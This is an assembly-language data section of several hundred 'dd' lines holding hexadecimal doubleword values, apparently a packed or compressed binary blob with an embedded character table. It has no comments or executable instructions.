dd 0D1E88980h, 1788B6h, 948A8278h, 7F913967h, 9E4C2100h
dd 0DDA5E0ECh, 851C4889h, 0FECB1907h, 3D10A032h, 2A0040C6h
dd 9F09010Ch, 72350671h, 0C5B00372h, 131A65B4h, 9226BBE8h
dd 0A9A73400h, 8FA8DA24h, 0E47D56h, 0D8449821h, 0DF23E828h
dd 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h, 415782FFh, 8A503201h
dd 0B1AA3054h, 58AE6100h, 0EE6DA2Dh, 60D000A3h, 549E1042h
dd 8F0009D4h, 0C7D82808h, 0DC940Ch, 0BE0B846h, 1407529Eh
dd 8080B93Bh, 9C696E3Bh, 10E68Eh, 0C4B632BEh, 80661397h
dd 7AC23C02h, 60E07760h, 0E18A64h, 4CA29179h, 40F56E42h
dd 4EF73900h, 8598DFEBh, 27C00F6h, 300C8A12h, 914CE181h
dd 444849h, 44B2E906h, 1C26CE2Ch, 80800140h, 83490579h
dd 4100FEC9h, 4FBB07Bh, 102B207h, 658A13EBh, 7A4A3C38h
dd 2FC224C0h, 6C5E035Fh, 423796C4h, 0B563DD8h, 0F0074EAh
dd 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h, 1EC93390h, 5607C500h
dd 2FCCF814h, 5C1F1C1h, 0BB5460h, 9CF04CB4h, 0F21217A0h
dd 537A8E00h, 0BC4E1440h, 568B5884h, 0DA1C3100h, 479130AFh
dd 25FE3F00h, 0ABDE13F8h, 0BBAA0716h, 0B0B6F117h, 72012C02h
dd 8E741500h, 3947CEA8h, 0BC70049h, 0FADC7516h, 0E800F43Ch
dd 0BC8AC52Ah, 6C8D24h, 0ACBE0460h, 6C70375h, 0EDCC0900h
dd 0F8463F1Eh, 0F5F2A3h, 0E312F713h, 89028D61h, 965C66F2h
dd 951D003Dh, 0FFE281C3h, 0EFE50203h, 0BFFC6284h, 60E8F7C1h
dd 4E00ACEBh, 37D7A06Ah, 3B159449h, 88009547h, 2AF509F7h
dd 0C3000F73h, 50085EF9h, 1D5540C5h, 409C926Ah, 0F6013347h
dd 8A0025EBh, 0D1063544h, 7D05Ch, 72D8042Ah, 87884316h
dd 82CDF53Fh, 0AB0D4926h, 0CCF26007h, 0B7500CBh, 2C683EEh
dd 0E003255Fh, 7A2A1D0Ah, 0CC50F040h, 5A1800AAh, 0B9A8285Dh
dd 10EC086Bh, 75496900h, 6D53F92Ch, 7C9842h, 0FBE82A14h
dd 0BF1BEAFAh, 4500B1F6h, 0E05135Eh, 1567DAh, 22EB92C7h
dd 7940505Ah, 0DF14BA00h, 0B3C35281h, 1F5C001Dh, 74ECB808h
dd 331329ADh, 13004F79h, 0A51BBA9Bh, 2AB40022h, 0A28670B9h
dd 0DF0353F0h, 308A0448h, 341CF899h, 138207EEh, 807DE949h
dd 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch, 0F88AB788h, 4131EF2h
dd 3C0EC02Eh, 0E44AA9F3h, 196E4C16h, 0A280351Dh, 2FB120F4h
dd 0A51D01BAh, 0C8F59037h, 88A4FCDCh, 0D11F3Bh, 2D7B5D3Ch
dd 0E468A3h, 0F8B8292Ah, 8D4C4D2h, 2044B41Fh, 5AC8007Bh
dd 0B804EFD8h, 942860FCh, 6D1EBA3Ah, 751FB77Bh, 0CCDDD022h
dd 53CFB3Fh, 1AB83155h, 8FF26272h, 0CF29CFEDh, 3C3FDE0Ah
dd 0F8510108h, 0F48ACB3Dh, 79C865E0h, 34251D72h, 0D64A8047h
dd 0FC1A469Dh, 45E4BA00h, 1FB263D3h, 0CA143EF0h, 643FC403h
dd 87A96823h, 0A675DC10h, 57721F0h, 3CC0E507h, 0BA90F462h
dd 0F847FCh, 3A8A0CF2h, 6EE24C3h, 68001B7Ch, 100A211Ch
dd 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh, 0F928912Ch, 0F949DA00h
dd 4160F0Ch, 7DB875F0h, 0DDABC0E3h, 0F500BA99h, 0B2F46E29h
dd 0ECA4A4Eh, 0CC3025D4h, 6D064400h, 647D2F39h, 43FCDD0Fh
dd 30E2358h, 722CD020h, 266C3E3h, 0CE8618Ah, 1D007051h
dd 96684C42h, 60F6F924h, 4120D831h, 501E724Dh, 51004AE1h
dd 0B88B440Fh, 3AB3008Ch, 0DB84CE52h, 7300FB19h, 530B108Eh
dd 262CCBBh, 37811D7h, 65404B7Fh, 77008312h, 859F2AC6h
dd 0E2D0EB43h, 88680053h, 3F094091h, 0B2007548h, 98F1864Ch
dd 1531821h, 0A32347E8h, 0D925BD38h, 5A06EC3Dh, 0B60A5Ch
dd 13406974h, 3D21E992h, 3E7CA84Bh, 73030744h, 8F72466Bh
dd 617053E8h, 45F86300h, 0A2416478h, 97AB1D10h, 0B2C2C0BBh
dd 58045D6Ch, 0C800E698h, 0C798928Eh, 3011DC42h, 0E46E8924h
dd 0DAC1B0E8h, 22A88F93h, 4844E0F8h, 31075DA0h, 0B0189198h
dd 21286490h, 4048881Eh, 5C328085h, 0F4268800h, 3C704431h
dd 6887C8FCh, 9E601C9Dh, 58891040h, 24033C12h, 61884C50h
dd 9178D048h, 7C403011h, 2C993864h, 131E30F0h, 2841220Ch
dd 24D22045h, 31848C4h, 10B1B899h, 0A2077813h, 51706E08h
dd 0C0BC3153h, 77B361F8h, 30F03D81h, 0E80318BCh, 48D4BE01h
dd 28E0548Ah, 223E29DFh, 88DC0FA1h, 0C4666019h, 24B044D8h
dd 33A6267h, 0D0183238h, 0CA88CABh, 801D24CCh, 601DC872h
dd 45FC41Fh, 0ACC03C4Eh, 0EBC2484h, 0B8249912h, 0B4396883h
dd 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh, 0E4F0F5A8h, 0D0FCA43Ch
dd 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h, 940F4CE4h, 905CC4CCh
dd 8C39A3A0h, 88E87CFCh, 24CF48FAh, 38E0AC84h, 7CEFD80h
dd 1CF47Ch, 68281178h, 89740F18h, 70EE4C04h, 0DEBF64AEh
dd 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh, 5CF36007h, 2FE2F84Dh
dd 3EC8F274h, 0CBA9458h, 0CFF454BAh, 60475014h, 914CF13Ch
dd 0F840F930h, 0EFFD1814h, 0CAF0BCF3h, 9FC700Ah, 7D97E800h
dd 81BA2098h, 80510995h, 0E0803F60h, 7446724Eh, 36BC4105h
dd 0FA8025B9h, 74450AB8h, 0F3133AFCh, 4A82F980h, 0A4095517h
dd 10015F01h, 0D2B8057Dh, 7EC099E9h, 0B1483907h, 0E5500C02h
dd 5A40800Fh, 202107Dh, 18BF0372h, 2C7F40FBh, 9B831F4Ch
dd 0D0FCC08Bh, 282DF876h, 317FFF00h, 86730232h, 0F3E11CC8h
dd 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h, 0E76D6123h
dd 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h, 6C30BFF3h
dd 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh, 8C44A0A1h
dd 10917BEh, 763352A3h, 0E011D825h, 88028F4Bh, 0AAC81B1h
dd 2B57E0C0h, 0C3B01F82h
dd 86E64084h, 2D3D1480h, 6D55AA12h, 0E04DFC0Fh, 0CA83BE5h
dd 11F007Fh, 7CFDF983h, 0C97E0B1Ah, 4E861C00h, 4A3E80AAh
dd 0A0401F27h, 0F766C02Fh, 0D8F320D9h, 0BF1CEB00h, 8F42C311h
dd 19740091h, 2F8E2C5h, 8A001508h, 6623A2E0h, 0A20E86ABh
dd 2A54C0C3h, 4081007Fh, 0E3FE3306h, 2B00F225h, 5EAB6293h
dd 0F48A0B14h, 8B8C0F29h, 116049D2h, 2BB48719h, 86081C01h
dd 27204EAh, 0EB09330h, 0E65D8A45h, 0E455BF00h, 0BDF8AA4Ah
dd 3B6DD21Ch, 90E2EBC0h, 83067Dh, 0D7DAF7A7h, 0B1E46A6Fh
dd 0C4008AE0h, 8B5092AAh, 32DC61h, 258C35F7h, 5B23F1Dh
dd 49430A01h, 0ED15D50Bh, 8BE980E7h, 0AA040709h, 10F8DC3Bh
dd 4B735852h, 830E0F98h, 0A01D12FAh, 5638BA05h, 496F00E2h
dd 0EB04D6B5h, 0DB013328h, 0E03A8889h, 48C0C11Dh, 0F60300B3h
dd 43DC8AF3h, 1488EACh, 4B0D002Dh, 3DA0F475h, 0C57C031Eh
dd 4AEAEB32h, 0C3FF1AA8h, 3C2EE358h, 0C058073h, 27F97541h
dd 26CF072Bh, 708EC3F7h, 81891D8Ah, 46A43200h, 220B6452h
dd 0F211CF1h, 0D93A0004h, 0E9027F76h, 8DDDCC00h, 1A9B9C09h
dd 0C9241790h, 48F805h, 1E74D03Ch, 7E537651h, 7A293B48h
dd 0AE92AA8h, 3E80C8Ch, 0F7CC0784h, 595B407Fh, 0E2014312h
dd 0AC0BEBDCh, 7DC04A35h, 5C00041h, 0EADFC42Bh, 26B8B701h
dd 0BA402A00h, 0BDE7602h, 1720029Bh, 289958F7h, 2DFDACE0h
dd 831A473Fh, 0F97E05D4h, 0EB48DBB6h, 1C51F9A3h, 0C07FFBECh
dd 1BF52E10h, 6A391338h, 3600FD20h, 33C81067h, 299D28h
dd 99593577h, 6E1940D0h, 0D9D60B1Eh, 69269C40h, 7B2B202Fh
dd 4470007h, 4FEE0990h, 0E9EAC1EAh, 136BC200h, 8C5AE8Fh
dd 5D770Bh, 0DE4F1673h, 68C61B28h, 0F0578D00h, 5A80E84Ch
dd 9C220081h, 4BE96CBAh, 591F13F4h, 60C79001h, 80F7B951h
dd 0C0A0A4C7h, 0FE6F2B7h, 0E3AFF599h, 3D46EF20h, 7400344Ah
dd 0F9C70C17h, 0D11166h, 16207536h, 1A7E2A52h, 145B3900h
dd 990F4C0Eh, 54FC079Bh, 3046BA33h, 403421EBh, 0B716C30Eh
dd 8745C019h, 0DA74D7h, 55F0F73Bh, 4E775D05h, 1C042498h
dd 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h, 374272Ch, 4D228039h
dd 103E9620h, 0EF560060h, 648AEDE2h, 47F1906h, 52450B07h
dd 0C373020Dh, 3AAC88C0h, 0D0F400C4h, 0F7141BB2h, 0FF00E7EBh
dd 89BBA865h, 18E318Ch, 0A1C76630h, 0F08693BFh, 0F8125588h
dd 88006106h, 0D1267423h, 3925E430h, 2C002EE1h, 33C697F3h
dd 352E44C1h, 3A398931h, 653B3Ah, 1896DF36h, 0D78B46h
dd 424039EBh, 0D32D4CD8h, 1EDBFE01h, 0CABF79DAh, 83C7D4h
dd 0F7D9E880h, 0EC5589C1h, 3E60CB00h, 0EB01F8A2h, 71A400B6h
dd 1432AF43h, 0A7002DAEh, 0A1B42B93h, 9C0FFAh, 0FBC1B801h
dd 589666EBh, 116BEC00h, 2703F80Eh, 0A6D83DA0h, 4EE5C180h
dd 0E02D6EBDh, 4FD58709h, 0E4E7006Ah, 222C35Bh, 6084482Ah
dd 61E06B29h, 0E48BA13h, 0C20776A2h, 5721C385h, 2BE35680h
dd 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h, 5D8D6300h, 28C25F90h
dd 0E7FC0008h, 0A4F8C4CAh, 270045CEh, 48F324DAh, 1E1E91EFh
dd 40441A22h, 7538920h, 0C0074FC4h, 0E6E8D4A3h, 0ACCD82D0h
dd 0C66E00B7h, 0F43FF02Bh, 803C2606h, 0C0FE02FCh, 60752D0Ah
dd 59DE4ABh, 412E74C4h, 0A4A68146h, 5ECDE4F9h, 3880500h
dd 0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h, 0EB5BF0ABh, 0A400CC88h
dd 0D8DEA1C3h, 1B8C41h, 7FD307Ch, 4DFF01F5h, 7475F425h
dd 0BB0D00C4h, 3414DE45h, 0E40FC400h, 41AB127Eh, 43290104h
dd 4B0B1F91h, 0F9987150h, 0DEC16031h, 6BB86600h, 2E6C9622h
dd 9E1E00EBh, 9A88FC25h, 0DD004517h, 0F7EE7E0h, 1CC9B258h
dd 808DF228h, 0BF065975h, 0C200AA9Ah, 45D36649h, 64E31Ah
dd 0A9F938B4h, 847A16D8h, 736D3100h, 0C92E3283h, 8DA70008h
dd 0D0445F46h, 0F5008925h, 0A03D0320h, 58227507h, 4600BB09h
dd 119FA506h, 737B90AAh, 9D7E811Fh, 326B800h, 0E1340h
dd 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h, 69053FFFh, 2104E12Fh
dd 5B6C7048h, 83C44000h, 0E051ECA2h, 0E1D901F4h, 72BFE837h
dd 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h, 83DD3C48h, 0FAA8D401h
dd 0FC410B70h, 9A00DA09h, 0F8EF80BCh, 7E675DFh, 3187BF2h
dd 9B6BF0BAh, 4400148Ah, 7DDE515h, 8E8C0h, 660F7004h, 45E33005h
dd 621DE27Ch, 480032EBh, 64CBCAAh, 82F0073h, 8205C879h
dd 0C00F83Bh, 0A303C96h, 712FF83h, 8027730Fh, 351F707Ch
dd 44E425C6h, 4FE00E00h, 0FE0D781Ah, 13800011h, 0EBED7739h
dd 2F981F14h, 3128A601h, 525F9862h, 7A533530h, 21190325h
dd 0F150A190h, 77835688h, 0C1303A00h, 389D6EAh, 53120088h
dd 6A80C302h, 6008BEEh, 0A0042ECEh, 7CA0BC8h, 0B46B840Fh
dd 79FC4069h, 5C2C9DAEh, 0EA008361h, 1EFF13F3h, 607A00D1h
dd 1F7C04F6h, 0F4891BFh, 82D0EFDh, 81A70064h, 0B6B3DAh
dd 15730DE0h, 0E0549F2h, 27D22103h, 98989378h, 0DFF410h
dd 0B8D7146Dh, 0C22B122Ah, 0DA790104h, 9FC18534h, 0E44062F5h
dd 614057h, 0F7A4B91Bh, 0C0DF6A1h, 0F93DFE00h, 24C4811Eh
dd 1F75000Fh, 0EBECCC49h, 0A00397Bh, 0AA3004C1h, 1E7820h
dd 2122D489h, 0EA44316Ch, 0B009873h, 3134C8Dh, 0C61602h
dd 80D58207h, 0F7D1853Fh, 0CCB9540Eh, 0E5EB271Fh, 88D271E0h
dd 0D5FB008Ah, 6FF19E9h, 0B900F008h, 9D9B1CD1h, 261EBA7Dh
dd 27E2DBh, 6BF89A6h, 0F600E8EEh, 3E13C185h, 5C0DFF80h
dd 303AD7C5h, 464E0107h, 7075F0FCh, 7D008286h, 53A0CE0h
dd 2C6699h, 1246152Bh, 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h
dd 5CD4B81Dh, 0E83B960Ch, 2A582B80h, 9C43D003h, 0DE252404h
dd 0BDC11362h, 0AAFC8498h, 1C35F212h, 825002F9h, 3E52E0D9h
dd 3FDFB0E0h, 0DB6EEB00h, 8AFF9B8Eh, 0D2A90266h, 0B0179E26h
dd 0DD90C1E3h, 527F89BCh, 906D2800h, 0C30B859Bh, 989900ACh
dd 4ECA4320h, 0C40027DDh, 0F03A2CF3h, 0F730Ah, 290DDA26h
dd 0CE904349h, 53B80600h, 131CEA52h, 140E008Ah, 619DB3CAh
dd 0A93D9428h, 6BE4002Ah, 9040EDD2h, 0F4FA0381h, 720A9E9Ch
dd 2143801h, 0BCC54BB5h, 0B871F8h, 250E978Ah, 0F0340F4h
dd 0B67850Fh, 7606A055h, 0FE81216h, 3F957AA7h, 741B0520h
dd 1C002029h, 16B93862h, 3C278B40h, 0DF8FB015h, 5B40C477h
dd 0B932D1B8h, 3D52073Fh, 34450030h, 0AF3F272Bh, 43906Ah
dd 511008EEh, 88154B90h, 42003EB8h, 0E40C2344h, 1E793A14h
dd 73918Ah, 85080A5Ch, 0B11E0490h, 210074FCh, 2CEC64F8h
dd 60422CE0h, 56520027h, 97915014h, 0CF19507h, 8762FC78h
dd 8225C008h, 0B8400073h, 8C5D54BCh, 8D0024D7h, 158B64A8h
dd 8043F3h, 0CB4EC93Dh, 1C303312h, 9810BA00h, 708D404Bh
dd 734F00D4h, 76B30BC4h, 743F8744h, 0EC7A8045h, 5798F20Dh
dd 258C006Fh, 302F206Eh, 42E4F178h, 1C0E397Eh, 0E7760410h
dd 0A8340E1h, 2B110082h, 5025D453h, 8B0BB273h, 33E9ABAh
dd 0F860A7EEh, 0E1A5D84Eh, 1318960h, 0F71EE3DBh, 408A07D0h
dd 97C1FF8Fh, 0D80E1879h, 0D108B3h, 350573E0h, 71060B41h
dd 70809DDBh, 0ACE6E2F3h, 85C33803h, 0B9038B61h, 53F8F420h
dd 1F30E618h, 3085DF2h, 98DB0CE6h, 0F410E099h, 8D122E7Ch
dd 0E0E3353h
dd 0E7D140B0h, 0D74DFDh, 0AEF8DC3Dh, 0F2015AC3h, 76F68500h
dd 3C647163h, 0CAE029h, 0EEE0E9C1h, 35FF983h, 1F7E800h
dd 0E78166FAh, 0BA0F00FFh, 2CE5C26h, 0C7003BF8h, 9DD02177h
dd 10CDF5h, 4E14069Fh, 0E09373FAh, 0B507247Eh, 47E88801h
dd 0C5BF023Bh, 0EB3FC07Eh, 212C011Ch, 1F0F5372h, 0CC10E4C6h
dd 4E0002E0h, 0B8B9D75h, 0E498C985h, 0FF7A3E35h, 3BCAFB80h
dd 4F5FE15Ah, 0E54EB014h, 2BA9008Ch, 4C770CBAh, 0DAB8177Dh
dd 0C2690145h, 30080110h, 0CE1F71A7h, 3ABE5920h, 16378099h
dd 0B1438D27h, 0E06E00C3h, 0E9775A35h, 0CC03CA55h, 0C085C950h
dd 0C73CA876h, 0D6810033h, 0F30C5D70h, 100E540h, 0DC92772h
dd 71C2F002h, 0D68B3E13h, 0CF507480h, 0F8D103D2h, 87057539h
dd 0CEB3201h, 0B4A6B080h, 0A02F0054h, 91757948h, 11FE42A5h
dd 0B657700h, 75676B5h, 5478ABh, 9D7B22BBh, 0BFAE3CECh
dd 0B10C7000h, 9A2DC2B4h, 0A049481Ch, 0CE34A11Dh, 52E0880Ah
dd 0FED0845Fh, 77F23200h, 0C8F94CAh, 0FAD1004Bh, 8A7F2089h
dd 11005653h, 0B8E1CB27h, 0ADA17h, 76F4F0Fh, 0E3C8FDF2h
dd 8A225500h, 0BDEAF8FCh, 759F008Bh, 5334AA87h, 0C7027C8Dh
dd 0CA1E88A3h, 840740C3h, 28A00D5h, 274307ECh, 0DE004647h
dd 7570B033h, 28E6E8h, 2A09BC80h, 4B26048Bh, 16C78A00h
dd 0F13E0649h, 0F40000Dh, 0C8E65B81h, 7D3B0C34h, 37311824h
dd 5711DCh, 40478014h, 0D97B754Bh, 28EFF100h, 50390563h
dd 4E8E8B9h, 0CF498F20h, 0F8E280ECh, 0B100B054h, 2E0BAFFh
dd 39735C8h, 496071A7h, 0D9B013FCh, 2900ADC2h, 4B89A09Dh
dd 7CDB85h, 5843762Dh, 0A5799FD7h, 41023000h, 0FF5EE180h
dd 0D9953C01h, 0E9181480h, 0C70A57E2h, 88A11C00h, 0F21F75Dh
dd 408C0059h, 183C8D12h, 307F2AC3h, 2ED61F00h, 2410A9EBh
dd 75217EABh, 0E3800002h, 0FC3245F3h, 75011A6Ah, 0FE4134F0h
dd 0D670DFB6h, 0E52C0749h, 0E07D3173h, 0B9FF3E62h, 4D9FD400h
dd 5F9589ECh, 9334001Ch, 9BDD88B0h, 1A1D0C71h, 0A89DE410h
dd 6EB78680h, 0C776B4h, 0DE3D34Ah, 0D6E8FD4Fh, 7E400401h
dd 4730BE21h, 0E0446130h, 13FF7D18h, 1A2CBFh, 0AF4ED6FAh
dd 0F2B89F23h, 59760E9h, 5FE4FE00h, 82783EBAh, 5816037Bh
dd 9297831Dh, 755BC998h, 33ADFC00h, 8D487C06h, 89231FBBh
dd 0A7084157h, 61042035h, 904EF815h, 54A2FE03h, 8041C59Ch
dd 7444342h, 48474645h, 4B4A0049h, 4E004D4Ch, 0A51504Fh
dd 38545352h, 5801C655h, 62615A59h, 6564C063h, 68676603h
dd 806B6A69h, 76E6D6Ch, 7271706Fh, 75740073h, 780E7776h
dd 307A79h, 34333231h, 37361C35h, 2B390038h, 24203D2Fh
dd 9D284Ch, 7D7B5D5Bh, 703A3B2Ch, 5C5F002Dh, 927222Ah
dd 91000D0Ah, 0AAE4C4E0h, 7388E867h, 0DA950F04h, 0C55E24FFh
dd 0C084EA21h, 0EC8B2706h, 1490B926h, 3620CB03h, 70D5A801h
dd 15E60FFCh, 0C62080B5h, 5C49E960h, 9E099B00h, 9C732D85h
dd 947A00FCh, 114A641Bh, 96FC6B5Bh, 8CEC9F00h, 0DB2D16DCh
dd 0C39707C0h, 914B5421h, 0FC66C204h, 190759E4h, 941FEBECh
dd 956BC70h, 4052008Ah, 0D4CF5C7Ch, 33001571h, 0FF273929h
dd 3C4BA3F4h, 790010FDh, 83481F05h, 400093C8h, 0A5CEB6F0h
dd 823252h, 0D98CD5F4h, 0C6660347h, 11F01600h, 5521429Fh
dd 4ABF0051h, 6C7EE292h, 0BB0076E1h, 0EB071569h, 41B929h
dd 0DC30630Ah, 0AB83E806h, 5600807Eh, 0E7C1157Ch, 0F869CFh
dd 8BFD097Dh, 7E58562h, 8F82B80Eh, 464BC10Bh, 3D60ED05h
dd 76EA00F0h, 2BBCE14h, 0C7143032h, 0CAF468h, 0EFC11A13h
dd 1C6FF24h, 336AD94h, 41FA6E7Eh, 2B13ED8Ch, 6AA1B0h, 0A6C246Dh
dd 7BEF947Fh, 15684A00h, 648CD44h, 387A4Bh, 519E418Bh
dd 2F02BAF3h, 921ACF07h, 0E83084E9h, 7BDD206h, 0A7EC4FF9h
dd 2ADF90C2h, 2004589h, 169F4999h, 0ECD9C65Ah, 6B7623h
dd 2F42C288h, 0F0CA36FFh, 0BA70E100h, 0F969CB33h, 0AD5C00D4h
dd 6068A240h, 627F6FD8h, 3BB50303h, 0A86D5AA4h, 1FE361Dh
dd 5315C83Fh, 0D4952D01h, 0D8023B81h, 0C029B27Ch, 6EE0E01Bh
dd 592EC49h, 50B1C594h, 2132839Fh, 0B2525207h, 62B071C4h
dd 790B0A0Dh, 1EB473FFh, 15D80CAh, 0B186A9C6h, 0A33EF44Fh
dd 50495307h, 16B5B95Bh, 32A0C1C7h, 0FC982A64h, 0F8281C13h
dd 5EB9C023h, 52250194h, 4690200h, 484EB36Fh, 0A25F0010h
dd 0BF446CF0h, 25001609h, 9DC24FAEh, 3081B8h, 9208E2C1h
dd 0E90071Dh, 47D10B00h, 75484B0Dh, 782E74EEh, 0FAB70066h
dd 498A01D3h, 0C0F8840h, 206A4306h, 0E183CAC1h, 6CD5003Fh
dd 184C2596h, 0EAFA270Eh, 6031E70Fh, 0D6D4006Bh, 79FC6ACh
dd 68B1527Fh, 900A97C9h, 750BCB7Eh, 6B80D100h, 902D37D8h
dd 0B85000E6h, 477CE29Fh, 3F72A4A3h, 4058AB00h, 252785A1h
dd 9F000C6h, 5F1CF405h, 8F000F15h, 334E99A4h, 0EC859A23h
dd 0F36A0058h, 0CAA15AA9h, 761E05F1h, 308A2B8Dh, 7C01BB3Ah
dd 0E0EFE378h, 0A2D0D6F5h, 0A4EC64h, 0F692FF30h, 75023A07h
dd 0E2C64600h, 94D701EFh, 0F83E0F17h, 7CC08483h, 0B6D44733h
dd 0BCA8E07h, 5E90148Dh, 139629h, 0C9241C1Eh, 0FE0274B1h
dd 1ADC0900h, 0D280B8FFh, 3B5E079h, 754F4304h, 7DD830D3h
dd 10017414h, 0C45B1FFh, 0C03E3B08h, 0A689057Ah, 2EDDF400h
dd 44D12D1h, 341D0F65h, 4700F78Ah, 0FD44F8A1h, 0A200D9E4h
dd 6590899Dh, 582E38h, 0F02D704Fh, 10E9A151h, 0A2271801h
dd 74532F85h, 0BCD1D8h, 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh
dd 4717CDC0h, 1E8AEB5h, 0F6B02BCFh, 20E6D655h, 0F0122C84h
dd 9CECC3FAh, 0D465007Eh, 0C1E4ED15h, 0F7000316h, 0CE2B94BFh
dd 756247h, 12EC04B9h, 0A7C82728h, 1114D3Ch, 2EDE2CD3h
dd 0C0D7A242h, 1EAED4A3h, 8FCAA4E4h, 5A3DD69h, 0DCB87610h
dd 0D0018BD7h, 89DF6F62h, 9220A270h, 107891h, 13A9D812h
dd 2C78F0CBh, 80060B00h, 60E25C3Bh, 4BFEFEh, 0B57EB0DEh
dd 0E5BD2AECh, 154F1B00h, 194558F4h, 927777h, 7FB7DD56h
dd 5E5F630Bh, 0F4716001h, 91A5C438h, 875F0h, 0F24A5A33h
dd 44022717h, 41A4EF00h, 69E95748h, 5FEC6Fh, 37814531h
dd 9453885Bh, 57018D7Ah, 0E8719D0Dh, 46C847BFh, 17C800A0h
dd 5FC34287h, 34029CDDh, 0F0C5FC91h, 2256C1AAh, 3812CCh
dd 72F77DA4h, 19681384h, 0C174C600h, 505FC752h, 0A69F00BDh
dd 9D0F7386h, 2C000279h, 34EC9632h, 64AF37h, 39C495C6h
dd 56B29EB3h, 0C585F71Fh, 4DB86345h, 0C3EC58C0h, 0D31D003Fh
dd 0A632E606h, 0A094B17h, 0CDE7B1h, 3A25A58Eh, 0E6AAEC29h
dd 93FA0044h, 0D01B9266h, 5E01BB65h, 14B45026h, 2AD419F2h
dd 0C79F0987h, 0E60089A9h, 0AF560574h, 316F839h, 9CB466ACh
dd 0D88CC364h, 758BDDh, 4B937C2Fh, 6A24A058h, 7A820300h
dd 5AC773A4h, 0BA727Eh, 27841D5h, 0C327116Ch, 4B8E5901h
dd 0A6B01E5Fh, 40D2ECh, 7517496Fh, 227C3966h, 0A39F4507h
dd 86202F71h, 0D94161h, 7BDB2529h, 676F881h, 35A85500h
dd 75AE2638h, 0CB450093h, 1834EA74h, 232E04DFh, 0AC034A08h
dd 0E88237EBh, 641AE2h, 0A6432101h, 9854B34Ah, 0FC93B909h
dd 48815F69h, 0D4022D6Ah, 7D004DBEh, 0C59B05A4h, 0B062A7h
dd 42BFC963h
dd 1C8F36A8h, 0FF96D100h, 0C4B8BC6Ah, 124F1D5Bh, 9C5C044h
dd 2C464772h, 40703802h, 7D94C0AAh, 0E8C0230Fh, 0FC9591DBh
dd 45F60A7Dh, 8D268F00h, 7AF2357Bh, 1AD2052Fh, 0C0F007D3h
dd 0C2552B85h, 0F4D07800h, 1B3BC13h, 100B002Eh, 0E881A64Ah
dd 910F2924h, 60F164A5h, 9F0D9669h, 95840046h, 866A4BF6h
dd 0E8075414h, 302B75FCh, 0F0CBE693h, 0E329BAh, 0AC2C164Ch
dd 0F55CF4E4h, 48FC2D01h, 5A59A165h, 70A580F4h, 0A62107E2h
dd 436C14C4h, 35A94485h, 5F51E0DCh, 92F46000h, 0C9311EFCh
dd 0CA090549h, 80405553h, 0C807302Dh, 94E98800h, 0B6F2E06Ch
dd 667C08h, 0D806EBD1h, 35F00973h, 83203E1Ch, 0B8F38100h
dd 0CEFEEDh, 31EB1C75h, 4FDA8EC1h, 5BD5E100h, 0EF6CD2F7h
dd 0A5D0003Eh, 0AFA955C0h, 61004384h, 97C447D4h, 0E8510E2h
dd 28BFEDA0h, 0EC41DA0Fh, 0F0A8E0D6h, 0BBFC59ADh, 80F3A53Eh
dd 46712D63h, 7B849743h, 0FC1807B2h, 518A1403h, 0C09DDF92h
dd 9EB0D368h, 0F8043Dh, 5DD0D45Fh, 3CC60150h, 8980B0A2h
dd 85FC29B7h, 4DEE17A9h, 7B2CDC00h, 5A241051h, 0E8010021h
dd 0B1ECDD4Fh, 93057102h, 52DF2347h, 0F31617C0h, 4FAC0028h
dd 77E50FCCh, 3E002941h, 0C8099412h, 1B1697h, 0F9A8072Dh
dd 7CD15A58h, 0F0564500h, 0BA51F6E6h, 5B380160h, 0CE077948h
dd 0B146CCEBh, 10FE8300h, 0C1ECF1EDh, 0DC95005Eh, 96D37224h
dd 0A800ABE2h, 67BD1E75h, 0E8D1ED2Bh, 8CB000E6h, 70834FF8h
dd 7C0058FFh, 3C709EFh, 9160C0h, 0A8A0048Ah, 3B94980Bh
dd 61114A00h, 51010244h, 0E3C10012h, 88C33683h, 71174606h
dd 2800295Fh, 34B264ABh, 0A58B1DAEh, 0E45200D2h, 92B2CB1h
dd 5CC45905h, 0C8016278h, 565B5A02h, 7F89760h, 8BFC12AAh
dd 40C2B7F3h, 789E7908h, 0B1A96000h, 985E58Eh, 0FE500134h
dd 4D8B42ACh, 0FD94DCDAh, 51E8AFF8h, 7400197Bh, 49CF5C1Fh
dd 1D952044h, 8D1118h, 0CEEA2FA3h, 0AB984556h, 58B02100h
dd 209EA967h, 2AF3007Eh, 2C29BC6Dh, 0D8E89F57h, 0CA529C00h
dd 42A4968Fh, 0D575FFh, 0ABE8C3C1h, 290C3292h, 0AF880807h
dd 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h, 1C77CEEDh, 61E2BA6h
dd 814097AAh, 0E38D5426h, 5E280070h, 0DCBC2C4Fh, 0F277C28Bh
dd 0B689E200h, 912F1CAAh, 834000E4h, 64751EF8h, 0DE019A5Dh
dd 0E83120BBh, 646049A3h, 0B7241E79h, 0A2A500A9h, 4659DE5Ch
dd 62B52900h, 2EA68A3Dh, 891A0010h, 0AE1F783Bh, 0EF1E200Dh
dd 0A2405096h, 8B100E75h, 0A98D00FEh, 7ADF1DEh, 6600A5F3h
dd 2D5B1E29h, 51AABDh, 0CBCC734Ch, 0C9705CB8h, 0BD4E000h
dd 3F77FC45h, 29C400F5h, 7C27785Eh, 4C0081A9h, 0B22B1ED9h
dd 3B8352C0h, 0BD0088DAh, 0B3ABFE59h, 0B900D40Ah, 33B4A913h
dd 1420AAh, 5F90C3C9h, 0AF81EA92h, 5108B900h, 0E97C805Eh
dd 126E001Fh, 7B74A9DDh, 500EB3Bh, 570F01B5h, 0C282Ch
dd 92049EC8h, 0CCE40DC9h, 0EE063Ch, 10D008D4h, 0F831FCh
